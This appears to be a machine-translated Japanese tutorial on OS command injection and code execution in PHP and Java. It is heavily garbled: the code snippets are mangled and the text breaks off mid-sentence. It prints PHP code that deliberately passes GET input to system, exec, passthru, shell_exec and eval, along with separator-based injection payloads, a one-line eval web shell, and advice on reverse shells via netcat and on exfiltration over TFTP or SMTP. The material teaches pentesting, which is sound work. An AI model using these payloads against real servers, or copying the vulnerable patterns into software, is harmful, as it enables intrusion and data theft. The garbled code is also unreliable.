###コマンド実行定義
オペレーティングシステムコマンドを直接呼び出します。
アプリケーションがコンテンツを処理するためにいくつかの外部プログラムを呼び出す必要がある場合、システムコマンドを実行するいくつかの機能が使用されます。たとえば、System、Exec、Shell_execなど。PHPでは、ユーザーがコマンド実行関数のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドに注入し、コマンド実行攻撃を引き起こすことができます。
コマンド実行とは、攻撃者がブラウザまたは他のクライアントソフトウェアを介してサーバープログラムにいくつかのCMDコマンド(またはBASHコマンド)を送信することを指します。サーバープログラムは、CMD.Exeを直接または間接的に呼び出して、システム、評価、EXEC、その他の機能を介して攻撃者が提出したコマンドを実行します。
システムコマンドの実行とは、コマンドラインで渡されたパラメーターのアプリケーションの不十分なフィルタリングを指し、悪意のあるユーザーが最終実行を制御します。 PHPで、システム、Exec、Shell_exec、Passthru、Popen、Proc_Popenなどのシステムコマンドを実行するいくつかの関数を呼び出す必要がある場合があります。ユーザーがこれらの機能のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドにスプライスして、コマンド実行攻撃を行うことができます。これはコマンド実行の脆弱性です。
###判断とコマンドの実行とコード実行の違い
OWASPのコードインジェクションとコマンドインジェクションを参照してください。の関連する説明を使用して、次の文でコード実行またはコマンド実行であるかどうかを判断できます。実行効果が言語自体とそのセキュリティメカニズムの対象かどうか。
コード実行の脆弱性とは、PHPスクリプトコードを実行する可能性を指し、コマンド実行の脆弱性とは、システムコマンドまたはアプリケーション命令(CMDコマンドやBASHコマンドなど)を実行する可能性を指します。コード実行の脆弱性は、システムコマンドを呼び出す際の脆弱性です。コマンド実行の脆弱性は、OSコマンド実行の脆弱性とも呼ばれるシステムコマンドへの直接呼び出しです。
ここでは、最初に2つの脆弱性の違いを示します。コマンドエグゼクティブは次のとおりです。
コードエグゼクティブの長さは次のようなものです。
1。コード実行
1。実行の効果は、言語自体によって完全に制限されています。現在の言語の関連する構文のみを実行することができ、実行するシステムコマンドのレベルに到達することはできません。
2。実行の効果は、言語自体によって完全に制限されていません
現在の言語の関連する構文は、システムコマンドを実行する範囲で実行できますが、言語セキュリティ機能自体の対象であり、正常に実行することはできません。
2。コマンド実行
1.実行の効果は、言語構文自体によって制限されず、コマンド自体によっても制限されておらず、現在の言語の関連する構文は実行できず、間接的にシステムコマンドを実行できます。
2.現在のコード言語の関連する構文は、システムコマンドの間接的な実行の範囲で実行可能であり、言語セキュリティ機能自体の対象ではありません。
###コマンド実行の脆弱性説明
コマンド実行の脆弱性とは、ユーザー制御可能なパラメーターをフィルタリングしないコードを指し、コマンドを実行するコードに直接持ち込まれます。悪意のある構築されたステートメントを使用して、任意のコマンドを実行できます。
ユーザーは、ブラウザを介して実行コマンドを送信します。サーバーは実行機能をフィルタリングしないため、コマンドは絶対パスを指定せずに実行されます。これにより、攻撃者は、プログラム実行環境の$パスまたは他の側面を変更することにより、悪意のあるコードを実行できるようになります。
###コマンド実行脆弱性原則
オペレーティングシステムで、 "、|、||"すべてコマンドコネクタとして使用できます。ユーザーは、ブラウザを介して実行コマンドを送信します。サーバーは実行機能をフィルタリングしないため、コマンドは絶対パスを指定せずに実行されます。
開発者はソースコードを記述するため、コード内の実行可能特殊機能ポータルのフィルタリングはありません。クライアントは、悪意のあるコンストラクトステートメントの送信を提出して、実行のためにサーバーに引き渡すことができます。一部のアプリケーションでは、PHP:system()、exec()、shell_exec()、passthru()、popen()、proc_popen()で外部プログラムを呼び出すことができる一般的な関数など、システムコマンドを実行するいくつかの関数を呼び出す必要があるいくつかの関数が必要です。コマンド実行。
ここでは、shell_exec関数を使用してデモを行います。
パラメーターはaで、変数$ cmdに渡され、shell_exec関数で実行し、ウェブページに表示されるページにecho出力を実行します。 CMDコマンドのコマンドを現在のユーザーに渡し、Aに渡し、Aを変数$ cmdに割り当ててから実行コマンドを実行します。
###コマンド実行の原因脆弱性
スクリプト言語(PHPなど)には簡潔で便利であるという利点がありますが、速度の低速や基礎となるシステムに触れることができないなど、いくつかの問題も伴います。開発するアプリケーション(特に一部のエンタープライズレベルのアプリケーション)がWebを削除するためにいくつかの特別な機能が必要な場合は、一部の外部プログラムを呼び出す必要があります。アプリケーションがコンテンツを処理するためにいくつかの外部プログラムを呼び出す必要がある場合、システムコマンドを実行するいくつかの関数が使用されます。たとえば、System、Exec、Shell_execなど。PHPでは、ユーザーがコマンド実行関数のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドに注入し、コマンド実行攻撃を引き起こすことができます。
PHP:System、Exec、Shell_exec、Passthru、Popen、Proc_Popenで呼び出すことができる一般的な関数。アプリケーションがこれらの機能を呼び出してシステムコマンドを実行すると、ユーザーの入力がシステムコマンドのパラメーターとしてコマンドラインにスプライスされ、ユーザーの入力がフィルタリングされない場合、コマンド実行の脆弱性が発生します。
1。コードレイヤーフィルタリングは厳密ではありません
コマンドを実行するには、一部の商用アプリケーションが必要です。商業アプリケーションの一部のコアコードは、バイナリファイルにカプセル化される場合があります。 Webアプリケーションでは、System( '/bin/プログラムがシステム関数によって呼び出されます。
-arg $ arg ');
2。システムの脆弱性はコマンド実行を引き起こします
Bash Shellの脆弱性(CVE-2014-6271)は、実行されたバッシュの環境変数を制御すると、シェルの脆弱性を介して任意のコードを実行できます。
3。サードパーティのコンポーネントを呼び出すとき、コード実行の脆弱性があります
典型的な例はWordPressにあります、あなたはそれを使用することを選択できます
一般的に使用される画像処理コンポーネントであるImageMagickは、ユーザーによってアップロードされた画像を処理し(デフォルトはImageMagickライブラリ)、コマンドの実行を引き起こします。さらに、Javaのコマンド実行の脆弱性(Struts2/Elasticsearch Groovyなど)は非常に一般的です。
典型的な脆弱性コード:
?php
System($ get_ [cmd]);
?
http://127.0.0.1:8080/?cmd=id
http://192.168.188.66/index.php?cmd=|| ping -i 30
127.0.0.1
http://192.168.188.66/index.php?cmd=|| ping -n 30 127.0.0.1
アプリケーションがいくつかのコマンドセパレータをフィルタリングする場合、コマンドの呼び出し脆弱性を検出する可能性を高めるために、以下の各ターゲットパラメーターに以下の各テスト文字列を順番に送信し、アプリケーションが応答する時間を監視する必要があります。
http://192.168.188.66/index.php?cmd=i ping -i 30
127.0.0.1 i
http://192.168.188.66/index.php?cmd=i ping -n 30
127.0.0.1 i
http://192.168.188.66/index.php?cmd=ping -i 30
127.0.0.1
http://192.168.188.66/index.php?cmd=ping -n 30
127.0.0.1
http://192.168.188.66/index.php?cmd=; ping 127.0.0.1;
http://192.168.188.66/index.php?cmd=%0a ping -i 30
127.0.0.1%0A 'ping 127.0.0.1'
時間遅延が発生した場合、アプリケーションがコマンドインジェクション攻撃に対して脆弱である可能性があることを意味します。テストプロセスを数回繰り返します。
遅延がネットワークの遅延やその他の異常によって引き起こされないことを確認してください。 -nまたは-iパラメーターの値を変更し、経験した時間遅延が提出された値に応じて変化するかどうかを判断することができます。攻撃を正常に実装できる形容詞文字列のいずれかを使用して、形容詞の別のより便利なコマンド(ISまたはdirなど)を試して、コマンド結果をブラウザに返すことができるかどうかを判断します。
コマンドの実行結果を直接取得できない場合、他の方法は次のように使用できます。
コンピューターにバンド外チャネルを開くことを試みることができます。 TFTPアップロードツールをサーバーに使用し、TelnetまたはNetCatを使用してコンピューターに通じるリバースシェルを作成し、メールコマンドを使用してSMTPを介してコマンド結果を送信します。
コマンド結果をWeb Root Directoryのファイルにリダイレクトし、ブラウザを使用して結果を直接取得できます。例:dir
c: \ inetpub \ wwwroot \ foo.txt、コマンドを登録する方法を見つけてコマンド実行結果を取得できると、独自のアクセス許可を設定する必要があります(whoamiまたは同様のコマンドを使用するか、無害なファイルを保護されたディレクトリに記述してみてください)。その後、セットアップできます
、独自のアクセス許可を改善し、アプリケーション内の機密データに密かにアクセスするか、侵害されたサーバーを介して他のホストを攻撃します。
###コマンド実行条件
1。システムコマンドを呼び出して実行するコードに関数があります
2。関数で制御し、システムコマンドのパラメーターとしてユーザー入力をコマンドラインにスプライスできるポイントがあります。
3.ユーザー入力のフィルタリングは厳密にはありません
###コマンド実行およびコード実行モデル
1.PHPコマンドの実行とコード実行
PHPは、System()、shell_exec()、exec()、passthru()などの外部アプリケーションを実行するためのいくつかの機能を提供します。
コマンド実行:system()、shell_exec()、exec()、passthru()。 php.exeを使用してパラメーターを渡す場合、コマンドにスペースがある場合は、 ""(double Quotes)を使用し、次のようなLinuxで単一の引用符を使用します。
php.exe cmd.php '|ネットユーザー'
cmd.phpでのコード実行:php eval($ _ request ['code'])?
送信データ: http://url/cmd.php?code=phpinfo();
動的関数呼び出し
?php
関数a(){return .}
function b(){return .}
$ fun=$ _request ['fun'];
echo $ fun(); //動的コール関数
?
データを入力すると、http://url/function.php?fun=phpinfoがphpinfo()関数を実行します。 PHP関数コード実行脆弱性:PREG_REPLACE()、ob_start()、array_map()
(1)システム関数
シェルコマンドを実行します。これは、コマンドをDOSに送信することを意味します。システム関数を使用して、外部アプリケーションを実行し、対応する実行結果を出力できます。関数プロトタイプは次のとおりです。
String System(stringコマンド、int
return_var)
その中で、コマンドは実行されるコマンドであり、return_varはコマンドの実行後にステータスを保存します
サンプルコードは次のとおりです。
?php
$ dir=$ _get ['dir'];
if(ISSET($ dir))
{
エコー
'pre';
システム( 'net
ユーザー '。$ dir);
エコー
'/pre';
}
?
実行結果は次のとおりです。
上記のコードは、dirコマンドを死に執筆し、ネットユーザー実行の結果を$ dir変数に与えます。ただし、いくつかのコネクタ、次のようなパイプライン文字に注意してください: |、||、など。 netstat -an
注:|次のコマンドのみを実行し、||の両方を実行しますコマンドの前後。
(2)exec function
外部プログラムを実行します。 Exec関数を使用して、外部アプリケーションを実行できます。関数プロトタイプは次のとおりです。
string exec(string command、array output、int
return_var)
その中でも、コマンドは実行されるコマンドであり、出力は実行の各行の文字列出力であり、return_varはコマンドを実行した後のステータス値です。
サンプルコード:
?php
$ cmd=$ _get ['cmd'];
$ output=array();
echo 'pre';
exec($ cmd、$ output);
echo '/pre';
while(list($ key、$ value)=それぞれ($ output))
{
エコー
$ value.'br ';
}
?
実行結果は次のとおりです。
(3)パススルー関数
外部プログラムを実行し、元の出力を表示します。 PHPはシステムコマンドを実行し、|、||を介してコマンド接続の役割を再生できることがわかります。入力中の合理的な構造により、コマンドを実行し、元のコマンド接続を実行できます。 PassThru関数を使用して、UNIXシステムコマンドを実行し、元の出力を表示できます。 UNIX Systemコマンドの出力がバイナリデータであり、値をブラウザに直接返す必要がある場合、システムとEXEC機能の代わりにPassThru関数を使用する必要があります。プロトタイプは次のとおりです。
void passthru(string command、int
tipurn_var)
コマンドは実行されるコマンドであり、return_varはコマンドを実行した後にステータス値を保存します。
サンプルコードは次のとおりです。
?php
$ cmd=$ _get ['cmd'];
echo 'pre';
passthru($ cmd);
echo '/pre';
?
(4)shell_exec関数
シェル環境を介してコマンドを実行し、完全な出力を文字列として返します。関数プロトタイプは次のとおりです。
string shell_exec(stringコマンド)
ここで、コマンドは実行されるコマンドです。
?php
$ cmd=$ _get ['cmd'];
echo 'pre';
shell_exec($ cmd);
echo '/pre';
?
(5) `演算子:shell_exec関数と同じ、通常はブラックリストをバイパスするために使用されます
サンプルコードは次のとおりです。
?php
$ cmd=$ _get ['cmd'];
$ output=`$ cmd`;
echo 'pre';
echo $ output;
echo '/pre';
?
実行結果は次のとおりです。
(6)コード実行
eval()関数は、PHPコードとして文字列を実行できます。つまり、PHPコードを動的に実行できます。この関数を使用する場合、入力文字列が法的なPHPコードであり、セミコロンで終了する必要があることを確認する必要があります。動的関数は、PHPコード実行の脆弱性を呼び出します。関数コマンドインジェクション攻撃法に加えて、評価噴射攻撃法を使用することもできます。評価関数は、PHPプログラムコードとしてパラメーター文字列を実行します。ユーザーは、PHPコードを文字列の形式で保存し、実行のために評価関数に渡すことができます。プロトタイプは次のとおりです。
混合評価(文字列code_str)
Code_StrはPHPコード文字列であり、コマンドインジェクション攻撃は、評価関数に渡された文字列のすべてまたは一部のコンテンツを構築することにより実装されます。
サンプルコード:
?php
$ cmd=$ _get ['cmd'];
echo 'pre';
eval($ cmd);
echo '/pre';
?
渡されたコンテンツがphpinfo();渡されたコンテンツが文である場合、trojan?php eval($ _ post [cmd]);シェルを直接取ることができます。
例の結果は次のとおりです。
2.javaコマンド実行
Java SEでは、別のプロセスで特定の文字列コマンドを実行するためにEXECメソッドが提供されるランタイムクラスがあります。 JSP、サーブレット、ストラット、スプリング、冬眠などのテクノロジーは、通常、外部プログラムを実行するときにこの使用法を呼び出します。開発者がランタイムクラスを正しく使用できない場合、Javaコマンドの実行脆弱性を引き起こす可能性があります。
コードは次のとおりです。
ランタイムrt=
runtime.getRuntime();
プロセス
proc=rt.exec( 'net user');
p=
runtime.getRuntime()。exec(cmd);
//コマンド結果を取得する出力ストリーム
inputstream
fis=p.getinputStream();
//読み取り出力ストリームクラスを使用して読み取ります
inputStreamReader
ISR=new inputStreamReader(FIS);
//バッファを使用して行を読み取ります
BufferedReader
BR=new BufferedReader(ISR);
弦
line=null;
//完成するまで
while((line=br.readline())!=null)
{
System.out.println(line);
}
###頻繁に使用されるコマンド実行機能
PHPコマンド実行の脆弱性は、主にいくつかの機能の厳格なフィルタリングの欠如によって引き起こされます。 OSコマンドを実行できる7つの関数があります:system()、exec()、shell_exec()、
passthru()、pcntl_exec()、popen()、proc_open()さらに、アンチシングルquotes( `)もコマンドを実行できますが、shell_exec()関数を呼び出す必要があります。
1。System()、Exec()、shell_exec()、およびpassthru()関数をコマンドに直接渡すことができ、実行結果が返されます。例:payload:php system( 'whoami'); //現在のWebサーバーユーザーに戻ります
2.PCNTLは、PHPのマルチプロセス処理拡張です。これは、次のような多数のタスクを処理するときに使用されます。
空所
pcntl_exec(string $ path、[、array $ args [、array $ envs]]))
3。Popen()およびproc_open()関数は、実行結果を直接返すのではなく、ファイルポインターを返します。例:payload:php popen( 'whoami d:/2.txt'、 'r');
//2つのパラメーターでは、2番目のパラメーターはポインターファイルの接続モードで、rおよびwモードを備えています
4。Shell_exec()関数は、コマンドを逆単一の引用符( `)で実行するときに呼び出す必要があります。
例:payload:php echo `hoami`; //現在のユーザーに戻ります
exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()、backticks`は実際にshell_exec()関数を使用しています。
System()は、シェル結果の最後の行を出力および返します。
exec()は結果を出力せず、シェル結果の最後の行を返し、すべての結果を返された配列に保存できます。
passthru()はコマンドのみを呼び出し、コマンドの実行結果を標準出力デバイスに直接出力します。
popen()およびproc_open()は実行結果を直接返すことはありませんが、ファイルポインターを返します。
?php
#system( 'net user');
#passthru( 'dir');
#echo exec( 'whoami');
#echo shell_exec( 'whoami');
#echo `hoami`;
?
1.SHELL_EXEC()
文字列
shell_exec(string $ cmd)コマンドを実行し、結果を文字列として返します。
返品値:実行が失敗した場合はnullを返します。実行が成功した場合、実行結果文字列が返されます。
注:この機能は、PHPがinsafeモードを実行しているときに無効になっています
2.passthru()
void passthru
(string $ command [、int $ return_var])
返品値はありません。関数は実行結果をブラウザに直接返します。関数の2番目のパラメーターは実行ステータスコードです。0を返すことは成功を意味し、1を返すことは失敗を意味します。
3.exec()
文字列
exec(文字列c